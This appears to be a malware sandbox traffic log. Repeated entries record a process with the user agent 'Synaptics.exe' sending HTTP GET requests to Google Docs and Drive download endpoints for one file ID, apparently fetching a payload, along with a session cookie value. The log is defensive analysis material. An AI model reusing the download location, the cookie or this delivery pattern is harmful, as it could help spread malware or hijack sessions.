Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
